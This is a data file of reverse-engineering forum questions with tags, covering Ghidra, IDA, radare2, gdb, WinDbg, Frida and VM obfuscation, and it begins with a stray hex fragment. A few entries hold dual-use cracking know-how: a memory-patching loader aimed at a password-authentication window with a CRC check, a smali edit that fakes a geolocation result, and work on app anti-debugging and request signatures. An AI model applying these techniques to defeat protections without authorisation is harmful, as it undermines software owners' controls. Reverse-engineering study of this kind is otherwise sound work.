+00 
+00 
+04
+00 00 00 00
+10 08 0a 04
+...
+dc c1 50 08 |
+74 cf 50 08 | Array of size 0x16
+14 dd 50 08 |
+(.........) |
+
+" +"['x86', 'ghidra', 'stack', 'decompiler']"," Title: Ghidra Decompiler Optimized StringsBody: Looking at a large x86 binary, I'm seeing lots of instances where strings are assembled on the stack as quadwords like so: + + + +If I try to set the type of puStack40 to char[38], I get the following output that's still not very helpful: + + + +I am guessing that this is because each quadword is moved in a separate instruction: + + + +I assume there isn't, but does anyone know of a way that I can get puStack40 to be displayed as a string in the decompiler window? + +(As a side note: why is this approach taken? My only guess would be to decrease the number of memory accesses. I don't think this is obfuscation since it's a large, commercial application) +" +"['radare2', 'gdb']"," Title: How to detect which shared libraries a binary is actually using?Body: I have a stripped-down Linux-based embedded system where a closed-source program(32-bit ELF binary for MIPS) depends on several shared libraries. Two of those libraries are actually the same libcurl library, but compiled differently. I need to know which one the program is actually using. + +I can't install anything on that embedded system and the file system is read-only. Fortunately, there is a gdb available. When I execute the program and attach to it with gdb and print the loaded shared libraries with info sharedlibrary, then both libraries seem to be loaded: + +
(gdb) info sharedlibrary
+From        To          Syms Read   Shared Object Library
+/* output removed for brevity */
+0x28c6a8b0  0x28caf770  Yes         /usr/lib//libcurl-jke.so.1
+0x28d81150  0x28d86260  Yes         /usr/lib//libcurl-kkw.so.3
+/* output removed for brevity */
+
+ +Also, when I check the functions or variables with info functions or info variables, then I see items from libcurl under Non-debugging symbols. However, I don't know if those are from libcurl-jke.so.1 or from libcurl-kkw.so.3. + +When I step through the program the debugger never shows that those libraries are used, but I know that they are because I see a HTTP GET request from this embedded system. What might cause this? Is there a way to see all the functions the program executes and files where those functions originate from using gdb? + +Also, I could download this program and analyze it with radare2 if this helps. +" +"['android', 'patch-reversing', 'apk', 'binary-format', 'binary-editing']"," Title: Change androidmanifest.xml file within apkBody: I am able to unpack an android apk file with apktool, but when I am repacking the apk file using apktool, it just crashes with errors, and ibotpeaches seems not patching those errors for years. Now comes my question: could you please help me to recompile that androidmanifest.xml to an apk using any other tool or techniques? +" +"['c++', 'x64dbg', 'patch-reversing']"," Title: Patching memoryBody: I've successfully reversed and patched an application on windows, but patching the executable on disk triggers a CRC check and prevents it from loading. I've used x64dbg and have the addresses I need (they are static and don't change on reruns). However, if the unmodified executable is already loaded and running, and then the patches are applied, everything will work fine. My question is how can I write a simple loader to patch those memory addresses after execution? I've been searching for this all over the Internet and can't get my head around it. The boiler plate codes I've found are giving me headaches as fixing the c++ code errors is so confusing. + +Here is my code: + +
#include <windows.h>
+#include <stdio.h>
+#include <tchar.h>
+#include <iostream>
+
+using namespace std;
+
+
+
+int main()
+{
+    int newValue = 0x24;
+    uint8_t readTest;
+    byte num_char[16];
+
+    HWND hwnd = FindWindowA(NULL, ""Playback password authentication"");
+    if (hwnd == NULL)
+    {
+        cout << ""Cannot find window"" << endl;
+        Sleep(3000);
+        exit(-1);
+    }
+    else
+    {
+        DWORD procID;
+        GetWindowThreadProcessId(hwnd, &procID);
+        HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
+        if (procID == NULL)
+        {
+            cout << ""Cannot obtain process."" << endl;
+            Sleep(3000);
+            exit(-1);
+        }
+        else 
+        {
+            ReadProcessMemory(handle, (PBYTE*)0x0052BD7E, &num_char, sizeof(num_char), 0);
+//          WriteProcessMemory(handle, (LPVOID)0x0052BD7E, &newValue, sizeof(newValue), 0);
+            cout << num_char << endl;
+            Sleep(10000);
+        }
+    }
+}
+
+ +First I need the code to actually read and print the hex bytes at those addresses so I can make sure the addresses and their values are actually correct. If this returns the correct values, then I think I using WriteProcessMemory won't be that hard. But the problem is the values returned for my addresses are not those I expect and see in x64dbg. +" +"['radare2', 'debuggers', 'x86-64', 'emulation']"," Title: Is `movq rax, xmm0` buggy in Radare2?Body: Why doesn't rax get loaded from xmm0 here? radare2 bug? + +GitHub issue `movq rax, xmm0` doesn't work in native debugger filed. + +
[0x0003b0e0]> drr
+role reg    value            ref
+――――――――――――――――――――――――――――――――
+SN   rax    0                 0 R 0x3010102464c457f
+     rbx    0                 0 R 0x3010102464c457f
+A3   rcx    0                 0 R 0x3010102464c457f
+A2   rdx    7ff0000000000000 
+A1   rsi    0                 0 R 0x3010102464c457f
+A0   rdi    0                 0 R 0x3010102464c457f
+A4   r8     0                 0 R 0x3010102464c457f
+A5   r9     0                 0 R 0x3010102464c457f
+A6   r10    0                 0 R 0x3010102464c457f
+A7   r11    0                 0 R 0x3010102464c457f
+     r12    0                 0 R 0x3010102464c457f
+     r13    0                 0 R 0x3010102464c457f
+     r14    0                 0 R 0x3010102464c457f
+     r15    0                 0 R 0x3010102464c457f
+PC   rip    3b0ee             241902 (.text) sym.finite R X 'movq rax, xmm0'
+BP   rbp    10078000          268926976 R W 0x0 -->  0 R 0x3010102464c457f
+     rflags 0                 0 R 0x3010102464c457f
+SP   rsp    10078000          268926976 R W 0x0 -->  0 R 0x3010102464c457f
+[0x0003b0e0]> dr xmm0
+0xaaaaaaaaaaaaaaaa5555555555555555
+[0x0003b0e0]> ds
+[0x0003b0e0]> drr
+role reg    value            ref
+――――――――――――――――――――――――――――――――
+SN   rax    8000000000000000 
+     rbx    0                 0 R 0x3010102464c457f
+A3   rcx    0                 0 R 0x3010102464c457f
+A2   rdx    7ff0000000000000 
+A1   rsi    0                 0 R 0x3010102464c457f
+A0   rdi    0                 0 R 0x3010102464c457f
+A4   r8     0                 0 R 0x3010102464c457f
+A5   r9     0                 0 R 0x3010102464c457f
+A6   r10    0                 0 R 0x3010102464c457f
+A7   r11    0                 0 R 0x3010102464c457f
+     r12    0                 0 R 0x3010102464c457f
+     r13    0                 0 R 0x3010102464c457f
+     r14    0                 0 R 0x3010102464c457f
+     r15    0                 0 R 0x3010102464c457f
+PC   rip    3b0f3             241907 (.text) sym.finite R X 'and rax, rdx'
+BP   rbp    10078000          268926976 R W 0x0 -->  0 R 0x3010102464c457f
+     rflags 0                 0 R 0x3010102464c457f
+SP   rsp    10078000          268926976 R W 0x0 -->  0 R 0x3010102464c457f
+[0x0003b0e0]> 
+
+" +"['disassembly', 'deobfuscation', 'ghidra', 'virtual-machines']"," Title: How to use Ghidra to work with VM obfuscated binaries?Body: By ""VM obfuscated binary"", I mean a binary that contains one or more implementations of a VM internally, and also some bytecode that can run on this VM. One of the reasons why this binary is this way, is to obfuscate some logic in the byte code. I see that a similar question has been asked for IDA Pro. The answer to that question indicated that IDA Pro does not support disassembly of such bytecode out of the box, but that there is a plugin that can help. Another question is more general, not specific to any tool like IDA Pro, Ghidra, etc. + +NB: I'm not asking about the case where a binary is run in a virtual machine, say, Virtual Box, for example because it is suspected of being malware and running it in a virtual machine is a form of protection. Various questions have been asked on how to use IDA Pro, radare2, etc., to reverse engineer such a binary being run in a virtual machine. In the case of interest, we are talking about a binary that implements its own VM internally, and not about some external VM like Virtual Box. + +So, it is not a problem disassembling the parts of the binary that implement the VM. The problem at hand is the bytecode. The bytecode architecture is not natively supported by Ghidra, so I'm working on using sleigh to specify it, etc.; that is another question. + +The present question -- +assuming I have a complete disassembler for the bytecode: + +
    +
  1. Is there a good way to programmatically figure out that the code may be implementing a VM?
  2. +
  3. Is there a good way to programmatically figure out where the bytecode begins and where it ends? Like, looking for patterns in the code that implements the VM?
  4. +
  5. Should I be trying to implement it with Ghidra scripts? Or write a Ghidra analyser? Or something else?
  6. +
+" +['android']," Title: how to replace the result from a json request into a variableBody: I would like to return in v0 the following answer "FR" instead of the country retrieved from Json +.method public getCountryCode()Ljava/lang/String; +.registers 2 +
.line 11
+iget-object v0, p0, Lfr/francetv/player/webservice/model/geo/GeoInfo;->countryCode:Ljava/lang/String;
+
+return-object v0
+
+.end method +could any one help please. +" +['ida']," Title: How to create struct of bit fields in IDA?Body: Suppose that we have bit fields struct like this: + +
struct PartInfo
+{
+  unsigned int day:5;
+  unsigned int month:4;
+  unsigned int year:7;  // year <= 99
+  unsigned int lot_no:11;  // lot_no <= 2000
+  unsigned int part_id:5;  // part_id <= 30
+};
+
+ +How can I represent it in IDA? +" +"['static-analysis', 'executable']"," Title: static analysis for identifying backdoorsBody: I am doing a research in identifying backdoors in windows .exe files. Currently I found some methods to detect. +1.String search in .exe +2.find Reffrence .dll and win32 Api calls using import table + +What are the other static analysis methods to detect backdoors? +" +"['ida', 'malware', 'idapython']"," Title: Is there any way to write a IDA script that finds constant values used in all functions, no matter the instruction?Body: So lets say i have these type of instructions in functions : + +x == constant value + +x = constant value + +x > constant value + +no matter if its just an assignment or compare or anything, i want to get the constant values in all functions from main onward + +tried googling but couldn't find anything that helps me with this, is this possible? +" +"['x86', 'c++', 'seh', 'msvc']"," Title: Some more questions related to C++ exceptions (catchHigh)Body: I've came up with the most convoluted example but still can't find the purpose of the catchHigh field. I find it that the right handler can be selected simply by looking at the tryblock map from start to end and comparing the ranges of the tryLow and tryHigh fields to the current state. + +I mean I understand that catchHigh is simply the max state that the catch handlers can reach (inclusive?) (from here ehdata.h:140: + +
__ehstate_t     catchHigh;          // Highest state index of any associated catch
+
+ +) but I don't understand when this field can be actually useful. + +However it seems that this value is used by the CRT anyway (vs2019 - frame.cpp:693): + +
/////////////////////////////////////////////////////////////////////////////
+//
+// GetRangeOfTrysToCheck - determine which try blocks are of interest, given
+//   the current catch block nesting depth.  We only check the trys at a single
+//   depth.
+//
+// Returns:
+//      Address of first try block of interest is returned
+//      pStart and pEnd get the indices of the range in question
+//
+RENAME_EH_EXTERN(__FrameHandler3)::TryBlockMap::IteratorPair RENAME_EH_EXTERN(__FrameHandler3)::GetRangeOfTrysToCheck(
+    RENAME_EH_EXTERN(__FrameHandler3)::TryBlockMap &TryBlockMap,
+    __ehstate_t                                    curState,
+    DispatcherContext                              * /*pDC*/,
+    FuncInfo                                       * pFuncInfo,
+    int                                            CatchDepth
+) {
+    TryBlockMapEntry *pEntry = FUNC_PTRYBLOCK(*pFuncInfo, 0);
+    unsigned start = FUNC_NTRYBLOCKS(*pFuncInfo);
+    unsigned end = start;
+    unsigned end1 = end;
+
+    while (CatchDepth >= 0) {
+            _VCRT_VERIFY(start != -1);
+            start--;
+            if ( TBME_HIGH(pEntry[start]) < curState && curState <= TBME_CATCHHIGH(pEntry[start])
+                    || (start == -1)
+            ) {
+                    CatchDepth--;
+                    end = end1;
+                    end1 = start;
+                    }
+            }
+
+    ++start; // We always overshoot by 1 (we may even wrap around)
+    _VCRT_VERIFY(end <= FUNC_NTRYBLOCKS(*pFuncInfo) && start <= end);
+    auto iterStart = TryBlockMap::iterator(TryBlockMap, start);
+    auto iterEnd = TryBlockMap::iterator(TryBlockMap, end);
+
+    return TryBlockMap::IteratorPair(iterStart, iterEnd);
+}
+
+ +Btw TBME_HIGH is tryHigh field and TBME_CATCHHIGH is the topic - catchHigh. + +However I can't seem to follow the above code - what I can do however is show you my example: + +
#include <cstdio>
+#include <Windows.h>
+#include <winnt.h>
+#include <malloc.h>
+extern ""C"" void* _ReturnAddress(void);
+void f() {
+    if (!printf(""""))
+        throw 9;
+}
+
+struct test {
+    test();
+    test(const test&);
+    ~test();
+    test f1(int, test);
+    int a, b;
+} f(int, test) throw(int) {
+    test tmp;
+    f();
+    return tmp;
+}
+
+int printfproxy(size_t szbuffer, const char* format, ...)
+{
+    va_list lst;
+    va_start(lst, format);
+    char* tmp = (char*)_alloca(szbuffer);
+    int a = vsprintf(tmp, format, lst);
+    OutputDebugStringA(tmp);
+    return a;
+}
+
+test test::f1(int, test a) throw(int) {
+    test tmp;
+    return tmp;
+}
+
+test::test() : a((int)_ReturnAddress()), b(0) {
+    printfproxy(sizeof ""ctor test @ ffffffff\n"", ""ctor test @ %X\n"", a);
+}
+
+
+test::test(const test& arg) : a((int)_ReturnAddress()), b(arg.a)
+{
+    printfproxy(sizeof ""copy ctor test @ ffffffff\n"", ""copy ctor test @ %X\n"", a);
+}
+
+test::~test() {
+    printfproxy(sizeof ""de ctor test @ ffffffff\n"", ""de ctor test @ %X\n"", a);
+}
+
+struct test4 {
+    int a[3];
+} f4(int, struct test4 arg) throw(int) {
+    test4 tmp;
+    return tmp;
+}
+
+void main() {
+    test tmp;
+    test4 tmp2;
+    try {
+        test tmp, tmp3;
+        test4 tmp2;
+        try {
+            if (tmp.b == 0)
+#line 93
+                f(9, tmp).f1(9, tmp), f(7, tmp);
+            else
+                f(7, tmp), f(7, tmp), f4(7, tmp2);
+        }
+        catch (int) {
+            try {
+#line 99
+                printfproxy(sizeof ""handler 2147483647""""\n"", ""handler %d""""\n"", __LINE__); test tmphandler; f(7, tmp);
+            }
+            catch (int) {
+#line 102
+                printfproxy(sizeof ""handler 2147483647""""\n"", ""handler %d""""\n"", __LINE__);
+            }
+        }
+#line 106
+        if (tmp.b == 0)
+            f(9, tmp).f1(9, tmp), f(7, tmp);
+        else
+            f(7, tmp), f(7, tmp), f4(7, tmp2);
+    }
+#line 111
+    catch (int) { printfproxy(sizeof ""handler 2147483647""""\n"", ""handler %d""""\n"", __LINE__); }
+}
+
+ +Here is the tryblockmap generated by the compiler: + +
stru_40C9F0     TryBlockMapEntry <11, 12, 13, 1, offset stru_40C9C0> ; offset loc_401554
+                TryBlockMapEntry <4, 9, 13, 1, offset stru_40C9D0> ; offset loc_4014FF
+                TryBlockMapEntry <1, 18, 19, 1, offset stru_40C9E0> ; offset loc_4015FD
+
+ +And here is the point of first exception inside main function (at line 93): + + + +We see that at this point the state is 5 (state is represented by var_4 in ida). + +Mind the break-point - the actual exception happens at the call to f - few instructions later. + +So we look at the smallest range that fits - that is the second trymapentry (offset loc_4014FF). So we execute the handler at line 99: + + + +Now there in the initial instructions, more specifically the call to printfproxy the state is still - the tryHigh of the previous step + 1 so 10. Then when we enter the call to f the state becomes 0xC (12). Now at this point when the exception occurs inside f the first trymapentry (offset loc_401554) is executed (line 102) for the same reason as before - it's the smallest range that fits the current state (note that the range is inclusive since: + +
typedef const struct _s_TryBlockMapEntry {
+    __ehstate_t     tryLow;             // Lowest state index of try
+    __ehstate_t     tryHigh;            // Highest state index of try
+
+ +and so the 12 fits here at the end). + +Also funny thing to notice is that the appropriate trymapentry starts at state 11 and so if the exception occurred in the beginning where we established that the state is 10 the outermost handler will be executed (line 111) - however that is impossible since the compiler has determined that printfproxy can't throw. + +Anyway now let's execute another handler further: + + + +Here we continue execution at line 106 where another exception is about to occur. This time the state is set to 0xE (14). Which means it's time to execute the outermost handler (offset loc_4015FD @line 111) because it's the only range that fits. + +My point is we never once reached a point where catchHigh was needed. We only used the idea of the smallest possible range that fits current state. My question is - could there be a situation where this field would be actually needed to determine the right handler? + +Note smallest possible range in my mind is if the range is contained in another range - that range. If I had to write an algorithm to find the right handler given state and tryblockmap I would do something like (pseudo-code using range for loop) and never use catchHigh: + +
findhandler(
+    state,
+    tryblockmap
+) {
+    int loweststate = INT_MIN, maxstate = INT_MAX;
+    auto handler = nullptr;
+    for (auto a : tryblockmap)
+        if (a.tryLow <= state && a.tryHigh >= state) //if it fits
+            if (a.tryLow > loweststate || a.tryHigh < maxstate) //if it smaller range then previous handler
+                handler = a, loweststate = a.tryLow, maxstate = a.tryHigh;
+
+    return handler;
+}
+
+ +Note - I'm using VC++6.0 SP5 PP5 to compile. +" +"['dll', 'c#', 'dll-injection', 'pe32']"," Title: Loading a PE32 executable DLL Intel 80386 into a c# programBody: I'm new here so I'm sorry if this isn't the right section for my question. + +I'm reverse engineering a software that's written in .net 3.5 c# which loads a weird dynamic dll, which has an important functionality of decrypting / encrypting strings. I tried to make a c# program and import the dlls but visual studio complains about invalid / unsupported dll. + +Here is some output and info: + +
targetframework: .Net Framework v3.5 
+
+ +
FileAnalyzer.dll:  PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
+
+ +the .net software loads it and hooks its functions like this: + +
 public class FileDataCtrlWrap
+  {
+    [DllImport(""FileDataCtrl.dll"", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
+    private static extern bool GetPersonalSettingsFolder(byte[] buffer, uint type);
+
+    [DllImport(""FileDataCtrl.dll"", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
+    private static extern bool GetSettingsFolder(byte[] buffer, uint type);
+
+    [DllImport(""FileDataCtrl.dll"", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
+    private static extern bool GetSnapShotFolder(byte[] buffer);
+
+    [DllImport(""FileDataCtrl.dll"", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
+    private static extern bool GetSnapShotPath(string cameraName, byte[] buffer);
+
+    [DllImport(""FileDataCtrl.dll"", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)]
+    private static extern int Encrypt(string intput, StringBuilder output);
+...
+...
+..etc
+
+ +
    +
  1. How is this .net program loading a pe32 dll?
  2. +
  3. Is it possible to replicate this behavior? If not what are the alternatives?
  4. +
+ +the dll file can be found here +" +"['binary-analysis', 'elf', 'binary', 'binary-editing']"," Title: Combine two ELF binariesBody: Without having access to the original source code, is there a way to combine two ELF binaries with the main() in the first binary pointing to the main() in the second binary ? + +In other words, I mean adding memory section for the content inside the second main(). +" +"['debugging', 'anti-debugging', 'ios', 'arm64']"," Title: Mysterious ARM instruction evaluating result to be 0xfe instead of 0xffBody: I'm facing some issues while debugging an iOS application for educational purposes. This is an iOS application found on the App Store and has some anti-debugging capabilities built in it. + +Pretext: +The assembly instruction you see below is a snippet of the anti debugging checks done by the application. The instructions below are going to do the following: + +
    +
  1. Load Register X8 with a memory address of (Current PC Register - 0xa70)
  2. +
  3. No Operation
  4. +
  5. Load Byte from register X8 into w8
  6. +
  7. Compare Register w8 if it is equal to 0xff
  8. +
+ +Exact Code block for Instructions as seen in IDA + +ADR X8, __cB5JgDa_QrhRN_ ; +[cB5JgDa QrhRN] + NOP + LDRB W8, [X8] + CMP W8, #0xFF + + +Corresponding Byte Code Block for Same Instruction Set + +88 AC FF 10 + 1F 20 03 D5 + 08 01 40 39 + 1F FD 03 71 + + + +Now, let's jump the gun and see what happens when it tries to load the byte from register x8 int w8. As you can see, I did a register read of both w8 and X8. In theory, based on the memory contents of X8, this instruction should have loaded 0xff into w8 through the assembly instruction ldrb w8, [x8] + + + +Problem Faced: Upon evaluation of the instruction the actual memory contents in w8 was 0xfe and NOT 0xff. This is really an unexpected behaviour as my ARM knowledge tells me that the correct value for that evaluation should be 0xff and not 0xfe. + + + +Things I have tried but failed to explain this behaviour + +
    +
  1. Creating mini Xcode iOS app and trying to replicate the same instruction set and memory state
  2. +
  3. Setting watchpoints to observe if any part of the program is editing the memory in-between
  4. +
  5. Looking for memory protections such as mprotect if they have modified that memory region
  6. +
+ +I would be highly appreciative of anyone who can point me in any right direction or ways so that I can better understand this mysterious behaviour. If it was my misunderstanding in ARM instruction, please do tell me too. Thank you so much everyone. +" +"['ida', 'assembly', 'dll', 'dll-injection']"," Title: How to decompile ""call eax"" in IDA Pro?Body: I know that there is a similar question but the answers didn't provide any fix for that problem. + +I am decompiling a .dll file, and I have found out the subroutine that I needed, but it's throwing a ""call analysis failed"" at line call eax. + +My question is: Can I properly decompile the subroutine with this call eax line, or can I change it to something else, or simply ignore it? Working in ASM is really tough because I need to take out the code itself, not patch, and manually converting assembly code into pseudocode will be really hard to do. +" +['qt']," Title: Viewing QT String Object Data under WindbgBody: I'm debugging a Qt App and trying to view QT string object data within debugger. I'm referring to this blog which shows how to do that however ,i dont have access to source code. windbg lacks the ability to display basic QT data. In windbg I want to see what all QtStrings are being passed to any Qt-API. + +In following disassembly string object returned by toString() are being passed to setHttpUserAgent API, arguments are placed on rcx and rdx registers. I want to view those strings in windbg / any debugger. + +
.text:00000001400424CC                 lea     rdx, [rbp+57h+var_90]
+.text:00000001400424D0                 mov     rcx, rax
+.text:00000001400424D3                 call    cs:?toString@QVariant@@QEBA?AVQString@@XZ ; QVariant::toString(void)
+.text:00000001400424D9                 nop
+.text:00000001400424D9 ;   } 
+.text:00000001400424DA                 mov     rdx, rax
+.text:00000001400424DD                 mov     rcx, r14
+.text:00000001400424E0                 call    cs:?setHttpUserAgent@QWebEngineProfile@@QEAAXAEBVQString@@@Z ; QWebEngineProfile::setHttpUserAgent(QString const &)
+.text:00000001400424E6                 nop
+.text:00000001400424E6 ;   }
+
+ +To do this i believe i need to have better understanding of Qt string's memory layout. If there is any document which can help me figure that out please let me know. + +Thanks in Advance. +" +"['disassembly', 'assembly', 'binary-analysis', 'disassemblers']"," Title: What to do with a text file of disassembly code and binaries?Body: I am fairly new to software reverse engineering and I'd like to know how proceed with analyzing a program if I have a text file of disassembly code and a bin file of binary data. I understand assembly language. But, is there a better way than just going through the text file, instruction by instruction, trying to figure out what the program is doing? I don't have IDA Pro but I have Ghidra. Would I use Ghidra somehow? Or would I just use a debugger like x64dbg? +" +"['java', 'hash-functions', 'frida']"," Title: Hashing algorithm of length 50Body: I have been trying to reverse-engineer an Android application using Jadx for static analysis and Frida for dynamic analysis. The end goal is to be able to re-create the request signature, sent as a ""x-signature"" header, to replicate the API requests programmatically. + +I am trying to figure out how a function, given an app key and a HashMap of request parameters as input, manages to output the signature ""ab21c1009004ad4c88477eef2340998bb6f8c774732e1e9e03"". + +This hexadecimal string is of length 50 so, since a hexadecimal represents four bits, it means the hashing algorithm that generates it must create 200 bits (right?). However, according to https://en.wikipedia.org/wiki/List_of_hash_functions, there is none, and especially not the most well-known ones, such as SHA1, SHA-256 or MD5, that the code seems to be using very often, especially MD5. + +What am I missing please? I don't know much about truncating and folding but I believe it's unlikely to be the issue here, since I've spent a lot of time getting familiar with the source code and nowhere has one of these techniques appeared, unless hidden in a common library's method. +" +"['windows', 'debugging', 'windbg', 'kernel']"," Title: Get return address from syscallBody: I'm debugging some 32-bit process using windbg kernel debugger. This process calls some syscalls, so I set few breakpoints at kernel functions like nt!NtQuerySystemInformation. So after breakpoint hit, what's the easiest way to trace back from kernel function to place where syscall was called in user-mode process? It's wow64 so call stack doesn't help, this is how it looks like: + +
[0x0]   nt!NtQuerySystemInformation   
+[0x1]   nt!KiSystemServiceExitPico + 0x25e   
+[0x2]   ntdll!NtQuerySystemInformation + 0x14   
+[0x3]   wow64!whNT32QuerySystemInformation + 0x34   
+[0x4]   wow64!whNtQuerySystemInformation + 0xb4   
+[0x5]   wow64!Wow64SystemServiceEx + 0x15a   
+[0x6]   wow64cpu!ServiceNoTurbo + 0xb   
+[0x7]   wow64cpu!BTCpuSimulate + 0x9   
+[0x8]   wow64!RunCpuSimulation + 0xd   
+[0x9]   wow64!Wow64LdrpInitialize + 0x12d   
+[0xa]   ntdll!LdrpInitializeProcess + 0x193e   
+[0xb]   ntdll!_LdrpInitialize + 0x4cd95   
+[0xc]   ntdll!LdrpInitialize + 0x3b   
+[0xd]   ntdll!LdrInitializeThunk + 0xe   
+
+ +I don't want to set breakpoints at usermode modules, have to trace it back from kernel. I've found out that jmp fword ptr [r14] at the end of wow64cpu!RunSimulatedCode is used to jump back to usermode. However RunSimulatedCode isn't always called, some functions use something else. Moreover, after jumping back to usermode windbg cannot retrieve user mode call stack. +" +"['android', 'frida']"," Title: Read bytearray from retval on onLeave eventBody: I'm trying to get the return value of a android native function call using Frida but with no success: + +
Interceptor.attach(Module.getExportByName('lib.so', 'Token'), {
+    onEnter: function(args) {
+    },
+    onLeave: function(retval) {
+      console.log(retval);
+    }
+});
+
+ +I know that the value is a bytearray but I can't find a way to read it from the native pointer. + +Can anyone point me in the right direction? What should I do the get the value from retval? I already tried to use cast, but it didn't work. + +thanks +" +"['static-analysis', 'java', 'dynamic-analysis', 'frida']"," Title: Dynamic analysis (Frida) reveals instance of a class that doesn't exist in the source code (dex2jar)Body: I have been diving into an apk's source code, doing both static analysis with Jadx (same as dex2jar) and dynamic analysis with Frida. + +I am trying to replicate the method that signs HTTP requests ""signRequest"". The thing is that it is only declared in an interface and nowhere in the code is there an actual implementation of that method. When I use Frida to get the instance that uses this method, I can run the method and make it work. The instance in question is like this: com.xxx.yyy.zzz@24d6bf8 but the thing is that the class com.xxx.yyy.zzz, and even the module com.xxx.yyy, do not exist in the source code. + +Do you have any idea how this might happen? + +EDIT: I've had a hunch and thought that maybe, since I had encountered ""antidex2jar"" classes in the source code, maybe there were protections against dex2jar making it throw errors, therefore preventing it from decompiling the classes, as I had read somewhere. However, even the smali code on Android-Studio doesn't contain the class. +" +"['file-format', 'ghidra', 'binary-format']"," Title: Writing a Ghidra FileSystem Module for 8-bit era disk images in which files have no header, format, or magic bytesBody: I've given myself a project of writing Ghidra Loaders and FileSystems for an 8-bit retrocomputing platform, namely the Sinclair ZX Spectrum. But I'm new to Ghidra, Java, and Eclipse. + +When developing a Ghidra Loader Module you deal with one single file, parse its headers and format to tell Ghidra which pieces of the file it needs, what memory regions it would load to, where its entry points are, etc. + +This is fine because there are file formats that have been devised for retro system emulators to encapsulate a single game etc. + +But there are also files for those emulators which represent disk images and cassette tape images containing multiple files. + +But unlike modern systems, files in these old disks are just arrays of bytes. They don't have a format, a header, or any magic word bytes to identify them. Any metadata needed to load and run them is part of the disk format, not part of the file. + +So I've figured out how to make a Ghidra FileSystem but I can't see a way to pass this file metadata directly to Ghidra from the FileSystem. Instead, I only find a way to pass a byte stream to Ghidra, which then gets passed to the Loader system, which relies on identifying the byte stream by looking for recognizable file formats/headers/magic bytes. + +Must I then create ""fake"" wrappers for these files that make them identifiable and create a matching Loader that recognizes them? + +Or is there a system already present in Ghidra for passing metadata directly along with such ""raw"" binary files that I just haven't discovered? + +Ghidra FileSystems cover things such as disk image files, archive and compression formats, and even fat executable binaries. It's quite possible there are already FileSystem modules in there for formats that package raw binary code blobs. How do they do it? + +(By the way, the only other project I've found so far that tackles a retro disk image format uses a hack to list the files in the Loader option dialog rather than making a FileSystem.) +" +"['disassembly', 'decompilation', 'java', 'deobfuscation']"," Title: Working with strong obfuscated JavaBody: I've got a jar file, that is strong obfuscated. + + + +download jar file + + +Can someone help me or give me advice on how I can deal with it? +Thanks in advance for any help. +" +"['debugging', 'java', 'ghidra', 'development']"," Title: How to Launch and debug Ghidra from Eclipse with two Modules I'm developing at the same time?Body: Ghidra comes with its own Eclipse extensions that allows you to develop new Scripts and Modules for Ghidra. +I'm working on several new Modules for Ghidra that will work together. But I've basically never used Java or Eclipse before. +Normally you're just working on one Module at a time and to test it you launch it in debug mode from the Eclipse IDE. +But Ghidra creates one Configuration for each project and will only include the current Module. Everything in your other Modules won't be linked in to Ghidra, even if you've had all their files open in the IDE and you're switching between them, you can only debug with one present at a time. +How can I get Ghidra to launch with three Modules I'm working on all together? +I've been going through the configuration dialogs and I've Googled various wordings of the problem in relation to Ghidra, in relation to Eclipse, and both together, to no avail. +I did clone one of the configurations and add the other modules' projects to that configuration in the "classpath" window, but on launching, only the main module is there. What am I missing? +" +['crackme']," Title: Weird function names in disassembly (crackmes)Body: I'm doing a really easy crackmes exercise (https://crackmes.one/crackme/5e4ec05c33c5d4439bb2dbea) and I can't figure out what the binary is doing because functions have extremely weird names. + +Here's a small fragment of the main function disassembly code. + +
...
+0x000000000040102b <+25>:   cmpl   $0x1,-0x84(%rbp)
+   0x0000000000401032 <+32>:    jle    0x40107b <main+105>
+   0x0000000000401034 <+34>:    mov    $0x401750,%esi
+   0x0000000000401039 <+39>:    mov    $0x602200,%edi
+   0x000000000040103e <+44>:    callq  0x400e30 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
+   0x0000000000401043 <+49>:    mov    $0x400ec0,%esi
+   0x0000000000401048 <+54>:    mov    %rax,%rdi
+   0x000000000040104b <+57>:    callq  0x400ea0 <_ZNSolsEPFRSoS_E@plt>
+   0x0000000000401050 <+62>:    mov    $0x401780,%esi
+   0x0000000000401055 <+67>:    mov    $0x602200,%edi
+   0x000000000040105a <+72>:    callq  0x400e30 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
+...
+
+ +How should I approach this code? +" +"['obfuscation', 'deobfuscation', 'virtual-machines']"," Title: Virtual machine code obfuscation implementation detailsBody: I want to implement a VM based simple proof-of-concept obfuscator. It should take an exe file as input and produce a new pe file with appended vm section. For simplicity let's say the exe file is compiled as a 32 bit pe. + +The problem is that most materials I've found online explain only how to crack and not how to implement such a solution, or just explain how to implement a simple VM with a very limited number of instructions. + +Architecture + +I want to build such an architecture as described in this (Enhance virtual-machine-based code obfuscation security through dynamic bytecode scheduling) paper: + + + +Let me quote it: + +
Fig. 1. A classical process for VM-based code obfuscation.
+To obfuscate the code, we first dissemble the code region to be
+protected into native assembly code (1).
+The assembly code will be mapped into our virtual instructions (2)
+which will then be encoded into a bytecode format (3). Finally,
+the generated byecode will be inserted into a specific region of
+the binary which is linked with a VM library (4).
+
+ +Question + +Let's say I have implemented a very basic virtual machine with a set of 20 instructions as presented in this [presentation]: + +
iadd, 
+isub, 
+imul, 
+ilt, 
+ieq, 
+br addr, 
+brt addr, 
+brf addr, 
+iconst value, 
+load addr, 
+gload addr, 
+store addr, 
+gstore addr, 
+print, 
+pop, 
+call addr, numArgs
+ret
+hlt
+
